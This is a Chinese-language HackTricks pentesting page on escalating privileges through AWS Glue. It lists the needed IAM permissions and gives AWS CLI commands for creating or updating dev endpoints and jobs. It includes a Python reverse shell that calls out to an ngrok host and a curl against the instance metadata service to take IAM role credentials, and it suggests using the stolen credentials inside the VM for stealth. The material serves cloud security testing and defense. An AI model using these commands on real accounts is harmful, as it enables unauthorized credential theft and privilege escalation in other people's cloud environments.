AWS - Glue Privesc

支持HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

拥有这些权限的用户可以设置新的AWS Glue开发端点,并将一个现有的可被Glue假定的服务角色与特定权限分配给此端点。

设置完成后,攻击者可以SSH进入端点的实例,并窃取被分配角色的IAM凭据:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

为了隐蔽起见,建议在Glue虚拟机内部使用IAM凭据。

潜在影响: 特权升级到指定的Glue服务角色。

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

拥有此权限的用户可以更改现有Glue开发端点的SSH密钥,启用对其的SSH访问。这使得攻击者可以以端点附加角色的权限执行命令:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

潜在影响: 特权升级至使用的Glue服务角色。

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

具有**iam:PassRole结合glue:CreateJobglue:UpdateJob,以及glue:StartJobRunglue:CreateTrigger的用户可以创建或更新AWS Glue作业**,附加任何Glue服务帐户,并启动作业的执行。作业的功能包括运行任意Python代码,可以利用它来建立一个反向shell。然后可以利用这个反向shell来窃取附加到Glue作业的角色的IAM凭证,从而导致潜在的未经授权访问或基于该角色权限的操作:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

潜在影响: 特权升级至指定的Glue服务角色。

glue:UpdateJob

仅具有更新权限,攻击者就可以窃取已附加角色的IAM凭据。

潜在影响: 特权升级至已附加的Glue服务角色。

参考

支持HackTricks

Last updated